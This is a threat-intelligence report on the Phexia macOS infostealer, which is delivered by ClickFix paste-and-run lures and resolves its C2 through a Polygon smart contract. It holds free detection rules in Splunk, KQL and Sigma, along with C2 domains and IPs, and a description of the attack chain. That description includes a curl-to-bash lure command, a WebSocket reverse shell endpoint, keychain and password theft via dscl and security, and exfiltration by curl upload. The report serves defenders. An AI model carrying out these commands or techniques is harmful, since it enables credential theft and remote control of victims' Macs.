Skip to navigation

Threat reportMalwareTL-2026-5302

Phexia macOS Malware Delivered via ClickFix, Using Polygon Smart Contracts (EtherHiding) for C2

highACTIVE

Phexia (aka Essential macOS Stealer) is a modular macOS backdoor and infostealer sold to multiple unattributed operators and delivered through ClickFix lures on typosquatted domains, compromised sites, fake shopping listings and other lures. It persists via a LaunchAgent and, in newer builds, resolves its C2 domain from a Polygon smart contract (EtherHiding). First disclosed .

Key facts for Phexia macOS stealer

IdentifiersTL-2026-5302
Also known asPhexia Stealer, Essential macOS Stealer, Polygon-contract macOS ClickFix crimekit
SeverityHIGH
First disclosed
Exploitation statusExploited in the wild
Affected productsApple macOS; Google Chrome (browser data theft and malicious extensions VeiloVPN, Penumbra)
Malwarexmrig
MITRE ATT&CK techniquesT1005 Data from Local System, T1027.010 Command Obfuscation, T1036.005 Match Legitimate Resource Name or Location, T1056.002 GUI Input Capture, T1059.002 AppleScript, T1059.004 Unix Shell, T1071.001 Web Protocols, T1082 System Information Discovery, T1102.001 Dead Drop Resolver, T1140 Deobfuscate/Decode Files or Information, T1204.004 Malicious Copy and Paste, T1496.001 Compute Hijacking and 8 more in the attack flow
MotivationFINANCIAL
Target sectorsconsumer, cryptocurrency, technology, education
Target regionsGlobal
Detection rules9 (1 shown free)
Sources8 cited sources

Detection coverage for Phexia macOS stealer

As of 2026-11-05, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-5302 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Phexia ClickFix - Terminal Paste-and-Run Remote Script Piped To Shell (TL-2026-5302)

Behavioural detection for Phexia / Essential macOS Stealer ClickFix delivery: shell command lines that fetch a remote script (script.sh, update.sh, clear-cache.sh) with curl and pipe it into bash/zsh, base64-decode a payload into a shell or osascript, use curl with a spoofed 'Mac OS X 10_15_7' user agent, or reference known Phexia delivery/C2 domains and the 62.60.226.0 / 62.60.226.50 fallback hosts. Aligns with T1204.004 (malicious copy and paste).

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1204.004, T1059.004, T1140, T1027.010, T1566
  • Data sources: osquery_process_events, microsoft_defender_for_endpoint_macos, macos_endpoint_security
  • Severity: high
  • Confidence: high

Splunk SPL

index=macos sourcetype="osquery:results" earliest=-24h columns.cmdline=*
| eval cmd=lower('columns.cmdline'), exe=lower('columns.path'), user=coalesce('columns.username',"unknown")
| eval pipe_to_shell=if(match(cmd,"(curl|wget)\s.*\|\s*(/bin/)?(ba|z)?sh"),1,0)
| eval b64_to_exec=if(match(cmd,"base64\s+(-d|--decode)") AND match(cmd,"\|\s*(/bin/)?(ba|z)?sh|osascript"),1,0)
| eval spoofed_ua=if(match(cmd,"curl\s.*-a\s+.?mac os x 10_15_7"),1,0)
| eval stage_script=if(match(cmd,"(script|update|clear-cache)[.]sh"),1,0)
| eval phexia_ioc=if(match(cmd,"hf98x4d[.]site|apdhlhs3[.]xyz|j9af4sr[.]guru|d9mjs[.]sbs|dhsbdgs[.]icu|xuiaxwx[.]com|sj98xe4[.]xyz|67sixcebeh[.]surf|citcix6[.]xyz|okekjaiw[.]click|x2db[.]cx|gl1nto[.]spiintforge[.]ru|hackersteersman[.]digital|coeuzgoq[.]bahisbiz[.]com|kefavkd[.]nextbahis[.]sex|fbuytf67[.]click|gesck4m[.]pro|smdh7[.]surf|8jdjpwka[.]baby|a5db[.]ch|62[.]60[.]226[.](0|50)|146[.]103[.]98[.]59"),1,0)
| where phexia_ioc=1 OR (b64_to_exec=1 AND match(cmd,"curl|wget")) OR (pipe_to_shell=1 AND (spoofed_ua=1 OR stage_script=1))
| stats count min(_time) as first_seen max(_time) as last_seen values(cmd) as commands max(phexia_ioc) as ioc_match by host, user
| convert ctime(first_seen) ctime(last_seen)
| table host user first_seen last_seen count ioc_match commands

Microsoft KQL

let PhexiaIndicators = dynamic(["hf98x4d.site", "apdhlhs3.xyz", "j9af4sr.guru", "d9mjs.sbs", "dhsbdgs.icu", "xuiaxwx.com", "sj98xe4.xyz", "67sixcebeh.surf", "citcix6.xyz", "okekjaiw.click", "x2db.cx", "gl1nto.spiintforge.ru", "hackersteersman.digital", "coeuzgoq.bahisbiz.com", "kefavkd.nextbahis.sex", "fbuytf67.click", "gesck4m.pro", "smdh7.surf", "8jdjpwka.baby", "a5db.ch", "62.60.226.50", "62.60.226.0", "146.103.98.59"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where OSPlatform =~ "macOS"
| where FileName in~ ("bash", "zsh", "sh", "curl", "base64", "osascript")
| extend Cmd = tolower(ProcessCommandLine)
| extend PipeToShell = Cmd matches regex @"(curl|wget)\s.*\|\s*(/bin/)?(ba|z)?sh",
         Base64Exec = Cmd matches regex @"base64\s+(-d|--decode)" and Cmd matches regex @"\|\s*(/bin/)?(ba|z)?sh|osascript",
         SpoofedUA = Cmd matches regex @"curl\s.*-a\s+.?mac os x 10_15_7",
         StageScript = Cmd matches regex @"(script|update|clear-cache)\.sh",
         IocHit = Cmd has_any (PhexiaIndicators)
| where IocHit or (Base64Exec and Cmd has_any ("curl", "wget")) or (PipeToShell and (SpoofedUA or StageScript))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, IocHit, PipeToShell, Base64Exec, SpoofedUA
| order by Timestamp desc

Sigma

title: Phexia ClickFix Terminal Paste Remote Script Piped To Shell On macOS
id: 3b7c1e52-8d4a-4f6e-9a21-5c0e7d9b1a01
status: experimental
description: Detects the ClickFix paste-and-run command used to deliver Phexia (Essential macOS Stealer), a base64-decoded or curl-fetched remote script piped into bash or zsh, curl with a spoofed Mac OS X user agent, or references to known Phexia infrastructure.
references:
  - https://gbhackers.com/phexia-malware-attack/
  - https://tti.truv.is/reports/TT-20260927-37-polygon-contract-macos-clickfix-essential-stealer-phexia.html
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-11-05
tags:
  - attack.initial-access
  - attack.t1566
  - attack.execution
  - attack.t1204.004
  - attack.t1059.004
  - attack.defense-evasion
  - attack.t1140
  - attack.t1027.010
logsource:
  product: macos
  category: process_creation
detection:
    selection_b64_pipe:
        CommandLine|contains|all:
            - 'base64'
            - 'curl'
        CommandLine|contains:
            - '| bash'
            - '|bash'
            - '| zsh'
            - '|zsh'
            - '| sh'
    selection_spoofed_ua:
        Image|endswith: '/curl'
        CommandLine|contains|all:
            - 'Mac OS X 10_15_7'
            - '-fsSL'
    selection_stage_script:
        CommandLine|contains|all:
            - 'curl'
            - '| bash'
        CommandLine|re: '(script|update|clear-cache)\.sh'
    selection_ioc:
        CommandLine|contains:
            - 'hf98x4d.site'
            - 'apdhlhs3.xyz'
            - 'j9af4sr.guru'
            - 'd9mjs.sbs'
            - 'dhsbdgs.icu'
            - 'xuiaxwx.com'
            - 'sj98xe4.xyz'
            - '67sixcebeh.surf'
            - 'citcix6.xyz'
            - 'okekjaiw.click'
            - 'x2db.cx'
            - 'gl1nto.spiintforge.ru'
            - 'hackersteersman.digital'
            - 'coeuzgoq.bahisbiz.com'
            - 'kefavkd.nextbahis.sex'
            - '62.60.226.50'
            - '62.60.226.0'
            - '146.103.98.59'
    condition: 1 of selection_*
falsepositives:
  - Developers installing tools with curl-pipe-bash one-liners such as package manager bootstrap scripts
  - IT automation that base64-decodes configuration into a shell
level: high

Known false positives:

  • Developers or admins running curl-pipe-bash installers (Homebrew, rustup, nvm) from Terminal
  • Provisioning scripts that base64-decode configuration before piping to a shell

Tuning notes: Allow-list known installer hosts (brew.sh, sh.rustup.rs) and MDM/management agent parent processes. The phexia_ioc flag is high fidelity; the behavioural branches are medium. osquery records each pipeline stage as a separate process, so enable shell -c command-line capture or Endpoint Security events for full coverage. Refresh the domain list from TL-2026-5302 IOCs; community-observed siblings (fbuytf67.click, gesck4m.pro, smdh7.surf, 8jdjpwka.baby, a5db.ch) are corroboration-tier.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Phexia Fake Password Prompt - dscl authonly Validation, [indicator] and tccutil Reset (TL-2026-5302) · unlock with TL Creds
  • Phexia Stealer - Keychain, Browser Safe Storage and Wallet Data Collection (TL-2026-5302) · unlock with TL Creds
  • Phexia Loot Archive and Exfiltration - ditto Archive, curl upload.php, Fallback C2 IPs (TL-2026-5302) · unlock with TL Creds
  • Phexia AppleScript Dropper - Base64 osascript Loader and Random LaunchAgent Load (TL-2026-5302) · unlock with TL Creds
  • Phexia openshell - /tmp/agent WebSocket Reverse Shell and Payload Hashes (TL-2026-5302) · unlock with TL Creds
  • Phexia C2, Delivery Domains and XMRig Pool Network Connections (TL-2026-5302) · unlock with TL Creds
  • Phexia LaunchAgent Persistence - Masquerading com.Apple Random-Label Plist and Base64 osascript Loader (TL-2026-5302) · unlock with TL Creds
  • Phexia EtherHiding - Polygon Contract C2 Resolution From Non-Browser Process (TL-2026-5302) · unlock with TL Creds

Indicators of compromise for Phexia macOS stealer

As of 2026-11-05, Threadlinqs Intelligence tracks 30 indicators of compromise for TL-2026-5302.

Sample indicators (3 of 30)

  • IP address: 62.60.226[.]50
  • Domain: hf98x4d[.]site
  • File hash: a6d43a45de8a7423833fa990d5b88950f68054827806910e7196c04a67b2d271

Defanged, TLP:CLEAR. Full set of 30 indicators: unlock with TL Creds.

30 indicators of compromise · unlock with TL Creds. Compare plans

Community OSINT corroboration for Phexia macOS stealer

13 of this threat's indicators have also been reported by the open-source security community. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

How Phexia macOS stealer works

Phexia is a modular macOS remote-access and information-stealing malware family, tracked by Red Canary since roughly November 2025 and offered under a malware-as-a-service model to multiple threat actors. Victims reach typosquatted domains, fake shopping listings, compromised legitimate websites (for example a language-test preparation platform serving fake CAPTCHA pages to fingerprinted visitors), fake job-interview flows and malicious browser extensions, and are told to paste a Terminal command to 'verify' themselves (ClickFix). The pasted command typically base64-decodes and pipes a remote shell script (script.sh, update.sh, clear-cache.sh) into bash, e.g. curl -s <url> | bash.

The shell script runs an AppleScript dropper through osascript that writes a user-level LaunchAgent (RunAtLoad and KeepAlive) whose ProgramArguments decode an embedded base64 AppleScript loader and pipe it to osascript. Plist labels were com.<16 random lowercase letters> in June-September builds; October builds switched to com.Apple.<16 letters>, a capitalised 'Apple' that differs from Apple's genuine lowercase namespace. Other analysts observed variants using com.launch.<id> and com.components.<id> labels with a helper directory under ~/Library.

Since May 2026 newer builds use EtherHiding: the loader issues an eth_call with selector 0x2686ecea (getServerURL()) against the Polygon contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 via four public RPC endpoints tried in sequence, and the operator rotates the stored C2 domain with setServerURL() transactions. The contract was deployed on 2026-05-01 and rotated through roughly 18 documented domains (xuiaxwx.com through d9mjs.sbs) at very low cost, which makes DNS-level takedown ineffective. A secondary contract (0x3445...C960) reportedly resolved to dhsbdgs.icu from October 27 per GBHackers. Earlier or alternative variants resolve C2 domains from dead-drop sources such as Telegram and Steam.

After enrolment (campaign ID written to ~/.txid and tccutil reset All executed), the implant polls the C2 about every 60 seconds for tasks: runloader (full stealer smodule), runlight (lighter module without Safari/Notes), openshell (PyInstaller WebSocket reverse-shell agent at /tmp/agent, ws://62.60.226.50:1337/ws/agent, zsh on a PTY) and replacer (fake Ledger app or XMRig). A fake 'System Preferences' dialog loops until dscl . authonly validates the victim's password, which is stored in plaintext in ~/.passphrase; capture attempts begin about 22 hours after infection per GBHackers. The stealer extracts browser Safe Storage secrets via security find-generic-password, browser cookies/logins, LastPass and NordPass extension data, crypto wallets, Telegram tdata, Apple Notes and a copy of login.keychain-db, collects software and system inventory, archives loot with ditto and uploads it by curl to https://<c2>/upload.php, with a fallback to the unencrypted HTTP endpoints 62.60.226.0 and 62.60.226.50. A late-July payload deployed unmodified XMRig 6.26.0 mining to pool.hashvault.pro:443.

Attribution: no operator is established. One researcher suspects APT28 for a related Phexia cluster but marks it unconfirmed; TRUV.IS notes fake-interview lures are consistent at moderate confidence with Contagious Interview tradecraft without claiming attribution. Severity is an analyst assessment. No CVE is involved. The WithSecure Labs research cited by GBHackers could not be fetched directly; details come from GBHackers and the independent reports listed in references.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1560.001 Archive via Utility

Defense Evasion

T1027.010 Command Obfuscation; T1036.005 Match Legitimate Resource Name or Location; T1140 Deobfuscate/Decode Files or Information

Credential Access

T1056.002 GUI Input Capture; T1555.001 Keychain; T1555.003 Credentials from Web Browsers

Execution

T1059.002 AppleScript; T1059.004 Unix Shell; T1204.004 Malicious Copy and Paste

Command and Control

T1071.001 Web Protocols; T1102.001 Dead Drop Resolver; T1571 Non-Standard Port

Discovery

T1082 System Information Discovery; T1518 Software Discovery

Impact

T1496.001 Compute Hijacking

Persistence

T1543.001 Launch Agent

Initial Access

T1566 Phishing

Resource Development

T1583.001 Domains

Remediation for Phexia macOS stealer

Immediate actions

  • Hunt for ~/Library/LaunchAgents plists named com.<16 letters>.plist or com.Apple.<16 letters>.plist (capital A) whose ProgramArguments decode base64 into osascript
  • Hunt for ~/.passphrase and ~/.txid files, /tmp/agent and /tmp/updstat.txt
  • Block or alert on the listed C2 domains and the IPs 62.60.226.0 and 62.60.226.50 (including ws://62.60.226.50:1337)
  • Isolate affected Macs and rotate all browser-stored, keychain and password-manager credentials and crypto wallet secrets; revoke active sessions and cookies
  • Remove malicious Chrome extensions VeiloVPN and Penumbra via extension allow-listing

Workarounds

  • Restrict Terminal use for standard users via MDM where operationally feasible
  • Block known crypto-miner pool connections such as pool.hashvault.pro at the egress proxy

Longer-term hardening

  • Alert on Polygon JSON-RPC (eth_call) traffic from non-browser processes such as osascript, bash or curl
  • Alert on Terminal-spawned curl piped to bash, base64 decode in Terminal, and osascript with very long inline scripts launched from LaunchAgents
  • Alert on dscl . authonly invocations carrying plaintext passwords and on security find-generic-password for Safe Storage
  • Train users that no legitimate site asks them to paste commands into Terminal to verify identity
  • Deploy macOS EDR with behavioral detection and monitor new LaunchAgent creation

Affected and fixed versions

  • Apple — macOS
    Vulnerable versions: Any macOS version where the user executes pasted Terminal commands
  • Google — Chrome (browser data theft and malicious extensions VeiloVPN, Penumbra)
    Vulnerable versions: All

Timeline of Phexia macOS stealer

  • Red Canary begins tracking Phexia (approximate month; predates the Polygon contract), per TRUV.IS.
  • Polygon contract locked-ioc-5 deployed with test value vk.com and funded with about 30 POL.
  • First operational C2 domain written to the contract (per bugrasahinoglu.com).
  • C2 domain locked-ioc-21 first seen, per GBHackers.
  • C2 domain locked-ioc-22 first seen.
  • C2 domain locked-ioc-23 first seen.
  • High-frequency C2 domain rotation phase begins (18-21 July).
  • NetByteSec/AlienVault OTX publishes 'Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding' listing C2 domains and hashes.
  • Contract rotated to C2 domain locked-ioc-29, the last rotation documented by TRUV.IS.
  • TRUV.IS publishes report TT-20260927-37 consolidating the Phexia / Essential macOS Stealer campaign.
  • Secondary Polygon contract 0x3445...C960 resolving to locked-ioc-25 begins use; October builds also change LaunchAgent labels to com.Apple.<16 letters> (per GBHackers).
  • GBHackers publishes coverage of Phexia ClickFix delivery and Polygon EtherHiding C2, citing WithSecure research.

Sources cited for Phexia macOS stealer

Further reading

Drafted by the Threadlinqs research pipeline from 8 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats